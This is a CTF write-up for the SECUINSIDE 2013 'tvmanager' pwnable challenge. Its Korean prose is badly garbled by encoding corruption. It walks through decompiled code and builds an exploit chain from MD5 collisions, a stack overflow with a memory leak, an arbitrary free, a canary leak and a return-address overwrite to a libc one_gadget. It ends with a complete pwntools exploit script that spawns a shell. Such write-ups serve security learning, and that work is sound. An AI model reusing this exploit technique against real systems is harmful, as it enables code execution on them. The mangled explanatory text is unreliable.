SECUINSIDE CTF 2013 - tvmanager
๋ชฉ์ฐจ
SECUINSIDE CTF 2013 pwnable challenge ์
๋ ฅ๋ฐ์ ์ด๋ฆ์ ์ฌ๋ฌ ๊ฐ์ง ์ทจ์ฝ์ ์ด ์กด์ฌํ๊ณ ๊ทธ๊ฒ๋ค์ ์ข
ํฉํด์ exploit์ ํด์ผํ๋๋ฐ ๊ทธ ์ค ๊ฐ์ฅ ๋จผ์ ๋ด์ผํ ๊ฒ์ด MD5 collision์ด๋ค. collision์ด๋ ์
๋ ฅํ ๋ฌธ์์ด์ด ๋ค๋ฅธ๋ฐ hashํ ๊ฐ์ด ๊ฐ์ ํ์์ ๋งํ๋ฉฐ, ์ด ์
๋ ฅ๊ฐ ํ ์์ ์ถฉ๋์์ด๋ผ๊ณ ํ๋ค. ๊ตฌ๊ธ๋งํด์ ์ฐพ์ ์์๋ก๋ ๋ค์์ด ์๋ค. ์ผ์ถ ๋น์ทํด๋ณด์ด์ง๋ง ์์ธํ ๋ณด๋ฉด ์ค๊ฐ์ค๊ฐ ๋ช ๋ฐ์ดํธ๊ฐ ๋ค๋ฅด๋ค. ์ฌ๋ด์ผ๋ก ์ค๊ฐ์ค๊ฐ ๋ค๋ฅธ ๋ช ๋ฐ์ดํธ๊ฐ ์ด๋ ๊ฒ hash๊ฐ์ด ๊ฐ์ ์ถฉ๋์์ ์ด๋ฆ์ผ๋ก ์
๋ ฅํ ๋ฌธ์์ด์ ๋ค๋ฅด๊ธฐ ๋๋ฌธ์ ์ด๋ฌ๋ฉด ๋ค์ ์ทจ์ฝ์ ์ triggerํ ์ ์๋ค. ์ฒซ ๋ฒ์งธ ๊ทธ๋ฌ๋ฉด ์ด๋ ๊ฒ ์์ overflow๋ฅผ ๋ด๋ฒ๋ฆฌ๊ฑฐ๋ ๋ค๋ฅธ ๊ฐ๋ค์ leakํ ์ ์๋๋ฐ, ์ด๋ฒ์๋ ๋ณต์ฌ๋ฅผ ํ๋ ์์ ์ stack ๊ฐ๋ค์ ๋ณด๋ฉด ๋ค๋ฅธ ๋์์ ํ๋ค๊ฐ ์ฐ์ฌ์ง ๋งค๋ ฅ์ ์ธ ๊ฐ๋ค์ด ๋ง์ด ์๋๋ฐ, ํ ๋ฒ์ leak์ผ๋ก ๋ฌธ์ ๋ ์ง์ ์ stack overflow ์ทจ์ฝ์ ์ ์ด์ฉํ๋ฉด ๋ง์ฐฌ๊ฐ์ง๋ก ์ง์ ์ leak์ ์ ์ํํ๋ค๋ฉด heap์ ๋ํ ์ฃผ์๊ฐ์ด ์์ผ๋ฏ๋ก, ์ดํ์๋ ๋ค์ stack overflow ์ทจ์ฝ์ ์ ์ด์ฉํด์ eip control์ ํ๋ฉด ๋๋ค. ๊ฐ์ฅ ๋จผ์ ํ ๊ฒ์ md5 collision์ ์ด์ฉํ stack leak์ด๋ค. ์ด๋ ๊ฒ ์ฌ๊ธฐ์์ ๋ด์ฉ์ ๊ทธ๋ฅ ์ถ๋ ฅํด์ฃผ๋ ๊ฒ์ด ์๋ ์ด์ leak๋ ๊ฐ๋ค์ ๋ฐํ์ผ๋ก arbitrary free๋ฅผ ํธ๋ฆฌ๊ฑฐํด์ผํ๋๋ฐ, ์ฌ์ค์ ๊ฐ์ ์ทจ์ฝ์ ์ ์ฌ์ฉํ์ง๋ง ์ถฉ๋์์ ์ฌํ์ฉํ๋ ๊ฒ์ด ์ด๋ ค์ฐ๋ฏ๋ก ์๋ก์ด ์ถฉ๋์์ ์ฌ์ฉํ๋ค. ์ payload๊ณผ ๊ฐ์ด ์ด ๋ ๊ทธ๋์ -1์ ์๋ฏธํ๋ ์ด์ ํ์ํ ๋ชจ๋ ์ ๋ณด๋ฅผ ๊ฐ์ง๊ณ ์์ผ๋ฏ๋ก eip control์ด ๊ฐ๋ฅํ๊ณ , ์คํ์ํฌ ๊ณณ์ one_gadget์ ํตํด์ ์ธ๋งํ ์ฃผ์๋ก ์ค์ ํ๋ค. ๊ทธ๋ฌ๋ฉด ์ต์ข
payload๋ ๋ค์๊ณผ ๊ฐ๋ค. ์ฌ๊ธฐ์์๋ ๋ง์ฐฌ๊ฐ์ง๋ก ์๋ก์ด ์ถฉ๋์์ด ํ์ํ๊ณ leakํ libc ์ฃผ์์ one shot ๊ฐ์ ฏ์ offset์ ๋ํด์ return address์ ์จ์ฃผ๋ฉด ์์ ํ๋ํ ์ ์๋ค. 0x00. Introduction
[*] '/home/user/tvmanager'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled Structure
struct movie {
int size;
int category;
char *name;
struct movie *next;
struct movie *prev;
} Concept
int __cdecl main(int argc, const char **argv, const char **envp)
{
...
read(0, name, 0x20u);
name_len = strlen(name);
md5_1FAE((int)name, name_len, (int)name_md5);
sprintf(src, "/home/tvmanager/%s", name_md5);
mkdir(src, 0x1F0u);
if ( chdir(src) != -1 ) {
while ( 1 ) {
load_movies_145F();
print_list_214E((int)menu_list_409C);
printf("> ");
_isoc99_scanf("%d", &choice);
if ( choice == 1 ) list_1821();
if ( choice == 2 ) register_18B0();
if ( choice == 3 ) broadcast_1DA7();
if ( choice == 4 ) exit(0);
}
}
return -1;
}md5๋ก hashํด์ ๊ฒฝ๋ก๋ฅผ ๋ง๋ค๊ณ , movie๋ฅผ ๋ฑ๋กํ ๋ ๋ง๋ค ๊ทธ ๋ฐ์ movie->name์ hash๊ฐ์ผ๋ก ํ์ผ์ ๋ง๋ค์ด ๋ด์ฉ์ ์ ์ฅํ๋ค. 0x01. Vulnerability
MD5 collision
# md5 collision - 79054025255fb1a26e4bc422aef54eb4
a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')\x00์ด๋ \xff์ผ ๊ฒฝ์ฐ ๋ฌธ์ ๋ด์์ strcpy()๋ fread()๋ฅผ ํ๋ ๊ณผ์ ์์ ๋๊ธฐ๊ธฐ ๋๋ฌธ์ ์๋นํ ๊ณจ์น์ํ์ง๋๋ฐ, ์ด๋ฅผ ์ ํผํด์ ์ถฉ๋์์ ๊ตฌํ๋ ๊ฒ์ด ์ข๋ค.movie๋ฅผ ๋ฑ๋กํ๊ฒ ๋๋ฉด,int register_18B0()
{
...
printf("Input title of movie > ");
read(0, src, 256u);
...
if ( !strcmp(movie_ptr->name, src) )
{
puts("[-] Duplicate title");
return -1;
}
...
name_ptr = (size_t)malloc(src_len + 1);
movie_new = (struct movie *)malloc(0x14u);
movie_new->name = (char *)name_ptr;
strcpy(movie_new->name, src);
name_len = strlen(movie_new->name);
md5_1FAE((int)movie_new->name, name_len, (int)src);
fd = fopen(src, "wb");
fwrite(contents, 1u, movie_new->size, fd);
fclose(fd);
...
}strcmp(movie_ptr->name, src) ๊ฒ์ฌ๋ ํต๊ณผํ๊ฒ ๋๊ณ , hashํ ๊ฐ์ ๊ฐ๊ธฐ ๋๋ฌธ์ fd = fopen(src, "wb")์์ ๊ฐ์ ํ์ผ์ ์ด๊ฒ ๋๋ค. Stack Overflow & Leak
movie_1์ size๋ 0x4, ๋ ๋ฒ์งธ movie_2์ size๋ 0x1000์ผ๋ก ์์ฑํ๋ค๊ณ ๊ฐ์ ํ์.int broadcast_1DA7()
{
...
char stack_buf[1024]; // [esp+24h] [ebp-414h] BYREF
size_t size; // [esp+424h] [ebp-14h]
void *contents; // [esp+428h] [ebp-10h]
unsigned int canary; // [esp+42Ch] [ebp-Ch]
...
canary = __readgsdword(0x14u);
md5_1FAE((int)movie_ptr->name, v1, (int)src);
fd = fopen(src, "rb");
if ( size > 0x3ff ) {
contents = malloc(size + 1);
fread(contents, 1u, size, fd);
sock_send_2038(contents, movie_ptr->size);
}
else {
for ( i = 0; ; ++i )
{
tmp = fgetc(fd);
if ( tmp == (char)'\xFF' )
break;
stack_buf[i] = tmp;
}
sock_send_2038(stack_buf, movie_ptr->size);
}
...
}movie_1๋ก broadcast๋ฅผ ํ์ ๋ size๊ฐ 0x4์ด๋ฏ๋ก stack_buf์ ํ์ผ ๋ด์ฉ์ ์ฝ์ด ํ ๋ฐ์ดํธ์ฉ ๋ณต์ฌํ๊ฒ ๋๋ค. ๊ทธ๋ฐ๋ฐ movie_1์ ์์ฑํ๊ณ movie_2๋ฅผ ์์ฑํ์ผ๋ฏ๋ก ํ์ฌ ํ์ผ์๋ 0x1000๋ฐ์ดํธ ๊ธธ์ด์ ๋ด์ฉ์ด ์ฐ์ฌ์ ธ ์์ ๊ฒ์ด๋ค. ์ ์ฝ๋์์๋ \xff๊ฐ ๋์ฌ ๋๊น์ง stack_buf์ ๋ณต์ฌ๋ฅผ ํ๋ฏ๋ก stack_buf ๋ค์ size, contents๋ ๋ฌผ๋ก return address๊น์ง๋ ๋ฎ์ ์ ์๋ค.movie_1์ size๋ 0x3ff, movie_2์ size๋ 0x400์ผ๋ก ์์ฑํ ์ํฉ์ ๊ฐ์ ํด๋ณด์. ์ด ๋ movie_2์ ๋ด์ฉ ์ฒซ ๋ฐ์ดํธ๋ฅผ \xff๋ก ํ๋ค๋ฉด ๋ฐ๋ก ๋ณต์ฌ๊ฐ ์ข
๋ฃ๋์ด ํ ๋ฐ์ดํธ๋ ๋ฐ๊พธ์ง ์์ stack์ ์ํฉ์ ๋ณผ ์ ์๋ค.gefโค x/4wx $esp+0x24
0xffffd864: 0x5655b6a0 0x5655b210 0x41414141 0x41414141
...
0xffffdc70: 0xf7dde000 0xf7dde000 0xffffdcf8 0x56556438stack, libc, code, heap ์์ญ์ ๋ํ leak์ด ๊ฐ๋ฅํ๋ค.canary์ธ๋ฐ, ์ด ๋๋ฌธ์ stack leak์ด ํ์ํ์ง๋ง movie_1์ size๊ฐ 0x3ff๋ณด๋ค ํฌ๋ฉด ์ทจ์ฝ์ ์ด ์ฑ๋ฆฝํ์ง ์์ผ๋ฏ๋ก ์ด ๋ฐฉ๋ฒ์ผ๋ก๋ ๋ถ๊ฐ๋ฅํ๋ค. ๋ฐ๋ผ์ ๋ค๋ฅธ ์ทจ์ฝ์ ์ด ํ์ํ๋ค. Arbitrary Free
int broadcast_1DA7()
{
...
char stack_buf[1024]; // [esp+24h] [ebp-414h] BYREF
size_t size; // [esp+424h] [ebp-14h]
void *contents; // [esp+428h] [ebp-10h]
...
for ( i = 0; ; ++i )
{
tmp = fgetc(fd);
if ( tmp == (char)'\xFF' )
break;
stack_buf[i] = tmp;
}
...
if ( size > 0x3ff )
free(contents);
...
}size์ contents๋ฅผ ์กฐ์ํ ์ ์๋ค.size๋ฅผ 0x3ff๋ณด๋ค ํฐ ๊ฐ์ผ๋ก ์กฐ์ํ๊ณ offset์ ๊ณ์ฐํด์ contents๊ฐ์ ์กฐ์ํ๋ฉด heap์ ์๋ฌด chunk๋ free()ํ ์ ์๊ฒ๋๋ค. ์ด๋ ๊ฒ free๋ chunk๋ bin์ผ๋ก ๊ฐ์ ๊ฐ์ ์ฌ์ด์ฆ์ malloc()์์ฒญ์ด ์์ ๋ ๊ทธ๋๋ก ์ฌ์ฉ๋๋ฏ๋ก ์ฐ๋ฆฌ๊ฐ ์ํ๋ ๊ธธ์ด๋งํผ malloc()์ ํ ์ ์๋ ๋ถ๋ถ์ ์ฐพ์๋ณด๋ฉด,int register_18B0()
{
...
read(0, src, 256u);
...
name_ptr = (size_t)malloc(src_len + 1);
movie_new->name = (char *)name_ptr;
strcpy(movie_new->name, src);
...
}register()์์ movie์ ์ด๋ฆ์ ์ ์ฅํ๊ธฐ ์ํ name_ptr์ ์ฌ์ด์ฆ๋ฅผ ์ฐ๋ฆฌ๊ฐ ์กฐ์ ํ ์ ์๊ณ , ๋ด์ฉ๋ ์
๋ ฅํ ์ ์๋ค. ์ด๋ฅผ ์ด์ฉํด์ canary๋ฅผ leakํ ์ ์๋ค. 0x02. Exploit
Stack Leak
# md5 collision - 79054025255fb1a26e4bc422aef54eb4
a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')
# stack, heap, libc leak
register(s, a1, 1, 0x3ff, b"A" * 0x3ff) # index 1
register(s, a2, 1, 0x400, b"\xff" * 0x400) # index 2
l = listen(7777)
broadcast(s, 1, 0, 1, 7777)
r = l.recv()movie_1์ 0x3ff, movie_2๋ฅผ 0x400์ผ๋ก ์์ฑํ๊ณ movie_2์ ๋ด์ฉ์ \xff์ผ๋ก ๋ง๋ค์ด์ ํ ๋ฐ์ดํธ๋ ๋ณต์ฌ๋ฅผ ํ์ง ์๊ฒ๋ ๊ตฌ์ฑํ๋ฉด, stack_buf๋ก๋ถํฐ 0x3ff ๋ฐ์ดํธ์ ์ค์ผ๋์ง ์์ stack leak์ด ๊ฐ๋ฅํ๋ค.broadcast๋ก IP, port๋ฅผ ์ง์ ํด์ socket์ผ๋ก ๋ณด๋ด์ฃผ๊ธฐ ๋๋ฌธ์ pwntools์ listen()์ ์ฌ์ฉํ๋ค.[+] Trying to bind to :: on port 7777: Done
[+] Waiting for connections on :::7777: Got connection from ::ffff:172.17.0.2 on port 39690
[*] heap : 0x5655a000
[*] stack : 0xffffdc48
[*] libc : 0xf7c2b000 Arbitrary Free
# md5 collision - cee9a457e790cf20d4bdaa6d69f01e41
b1 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef')
b2 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef')
# free(movie_1)
register(s, b1, 1, 0x4, b"BBBB") # index 3
payload = b"C" * 0x400 # buf
payload += p32(0x400) # size
payload += p32(heap + 0x11f8) # contents, movie_1
register(s, b2, 1, len(payload), payload) # index 4
broadcast(s, 3, 0, 1, 7777)free๋ฅผ ์ํด size๋ฅผ 0x400์ผ๋ก ์กฐ์ํ๊ณ movie_1์ freeํ๊ธฐ ์ํด contents ๊ฐ์ ์กฐ์ํ๋ค. ์ด free๋ chunk๋ฅผ ๋ค์ ํ ๋น๋ฐ๊ธฐ ์ํด์, # canary leak
payload = b"DDDD" # size
payload += b"\xff\xff\xff\xff" # category
payload += p32(stack + 0xa5) # name, canary
payload += p32(heap + 0x16a0) # next, movie_2
payload += b"EEE\x00" # prev
register(s, payload, 1, 0x4, b"XXXX") # index 5name์ด struct movie์ ๊ฐ์ ๊ตฌ์กฐ๊ฐ ๋๊ฒ๋ payload๋ฅผ ์์ฑํด์ register๋ฅผ ์คํํ๋ค.category ๊ฐ์ ๊ทธ๋ฅ 1๋ก ํ๋ ค๊ณ ํ๋๋ฐ strcpy(movie_new->name, src);๋ฅผ ํตํด์ name์ ๋ณต์ฌ๋๊ธฐ ๋๋ฌธ์ ์ค๊ฐ์ \x00์ด ์์ผ๋ฉด ๋ค payload๊ฐ ์งค๋ฆฌ๊ฒ ๋๋ค. ๊ทธ๋ ๋ค๊ณ category ๊ฐ์ 0x41414141๊ณผ ๊ฐ์ dummy ๊ฐ์ผ๋ก ์ฑ์ฐ๋ฉด leak์ ์ํด์ ์คํํ๋ list์์ OOB ์๋ฌ๊ฐ ๋ฐ์ํ๋ค.int list_1821()
{
...
while ( movie_ptr )
{
printf("%d )\nTitile : %s\nCategory : %s\n", count + 1, movie_ptr->name, category_list_40B0[movie_ptr->category]);
movie_ptr = (struct movie *)movie_ptr->next_movie;
++count;
}
...
}\xff\xff\xff\xff๋ก ๋ฎ์ด์ ๋ ์ ์ฝ์ ํ ๋ฒ์ ํด๊ฒฐํ๋ค. ์ด ์ํ๋ก list๋ฅผ ํธ์ถํ๋ฉด movie_ptr->name์ด canary์ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๋ฏ๋ก canary leak์ด ๊ฐ๋ฅํ๋ค.[*] canary : 0x72657400 EIP Control
# md5 collision - fe6c446ee3a831ee010f33ac9c1b602c
c1 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD939C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1C3991DCD91C845E66EFD3DC7BB61523EF4E03849118569EBCC179C934F40EB3302AD20A4092DFB15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDE424F46C278759D8B65F450EA21C5591862FF7B')
c2 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD9B9C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1439A1DCD91C845E66EFD3DC7BB61D23EF4E03849118569EBCC179C934F40EB3302AD20A4092D7B15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDEC24E46C278759D8B65F450EA21C5D91862FF7B')
# eip control
register(s, c1, 1, 0x4, b"FFFF") # index 6
payload = b"G" * 0x400 # buf
payload += p32(0) # size
payload += p32(0) # contents
payload += p32(canary) # canary
payload += b"H" * 0xc # dummy
payload += p32(libc + 0x5fbd5) # return
register(s, c2, 1, len(payload), payload) # index 7
broadcast(s, 6, 0, 1, 7777) 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os, socket, threading
DEBUG = True
BINARY = "tvmanager"
LIBRARY = "libc-2.23.so"
code_base = 0x56555000
movie_4100 = 0x56559100
src_4120 = 0x56559120
bp = {
'read_of_main' : code_base + 0x134B,
'scanf_of_main' : code_base + 0x13F7,
'load_movies' : code_base + 0x145F,
'list' : code_base + 0x1821,
'register' : code_base + 0x18B0,
'md5_of_register' : code_base + 0x1BB1,
'strlen_of_register' : code_base + 0x1B17,
'broadcast' : code_base + 0x1DA7,
'malloc_of_broadcast' : code_base + 0x1F1F,
'end_of_broadcast' : code_base + 0x1FAC,
'sizecheck_of_broadcast' : code_base + 0x1F86,
}
gs = f'''
b *{bp['scanf_of_main']}
b *{bp["end_of_broadcast"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def login(s, name):
s.recvuntil(b"> ")
s.send(name)
return s.recvuntil(b"> ")
def _list(s):
s.sendline(b"1")
sleep(0.1)
return s.recvuntil(b"> ")
def register(s, title, category, size, contents):
s.sendline(b"2")
s.recvuntil(b"> ")
s.send(title)
s.recvuntil(b"> ")
s.sendline(str(category).encode())
s.recvuntil(b"> ")
s.send(str(size).encode())
sleep(0.1)
s.send(contents)
return s.recv()
def broadcast(s, index, floor, room, channel):
s.sendline(b"3")
s.recvuntil(b"> ")
s.sendline(str(index).encode())
s.recvuntil(b"> ")
s.sendline(f"{floor}-{room}-{channel}".encode())
return s.recv(timeout=5)
def main():
if(len(sys.argv) > 1):
s = remote("0.0.0.0", int(sys.argv[1]))
pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
if DEBUG:
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
else:
s = process(BINARY)
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
login(s, os.urandom(4))
# md5 collision - 79054025255fb1a26e4bc422aef54eb4
a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')
# md5 collision - cee9a457e790cf20d4bdaa6d69f01e41
b1 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef')
b2 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef')
# md5 collision - fe6c446ee3a831ee010f33ac9c1b602c
c1 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD939C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1C3991DCD91C845E66EFD3DC7BB61523EF4E03849118569EBCC179C934F40EB3302AD20A4092DFB15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDE424F46C278759D8B65F450EA21C5591862FF7B')
c2 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD9B9C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1439A1DCD91C845E66EFD3DC7BB61D23EF4E03849118569EBCC179C934F40EB3302AD20A4092D7B15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDEC24E46C278759D8B65F450EA21C5D91862FF7B')
# stack, heap, libc leak
register(s, a1, 1, 0x3ff, b"A" * 0x3ff) # index 1
register(s, a2, 1, 0x400, b"\xff" * 0x400) # index 2
l = listen(7777)
broadcast(s, 1, 0, 1, 7777)
r = l.recv()
heap = u32(r[0:4]) - 0x16a0
stack = u32(r[0x324:0x328])
libc = u32(r[0x320:0x324]) - 0x1b3da7
log.info(f"heap : {hex(heap)}")
log.info(f"stack : {hex(stack)}")
log.info(f"libc : {hex(libc)}")
# free(movie_1)
register(s, b1, 1, 0x4, b"BBBB") # index 3
payload = b"C" * 0x400 # buf
payload += p32(0x400) # size
payload += p32(heap + 0x11f8) # contents, movie_1
register(s, b2, 1, len(payload), payload) # index 4
broadcast(s, 3, 0, 1, 7777)
# canary leak
payload = b"DDDD" # size
payload += b"\xff\xff\xff\xff" # category
payload += p32(stack + 0xa5) # name
payload += p32(heap + 0x16a0) # next
payload += b"EEE\x00" # prev
register(s, payload, 1, 0x4, b"XXXX") # index 5
r = _list(s)
canary = u32(b"\x00" + r[0x3a:0x3d])
log.info(f"canary : {hex(canary)}")
# eip control
register(s, c1, 1, 0x4, b"FFFF") # index 6
payload = b"G" * 0x400 # buf
payload += p32(0) # size
payload += p32(0) # contents
payload += p32(canary) # canary
payload += b"H" * 0xc # dummy
payload += p32(libc + 0x5fbd5) # return
register(s, c2, 1, len(payload), payload) # index 7
broadcast(s, 6, 0, 1, 7777)
s.interactive()
if __name__=='__main__':
main()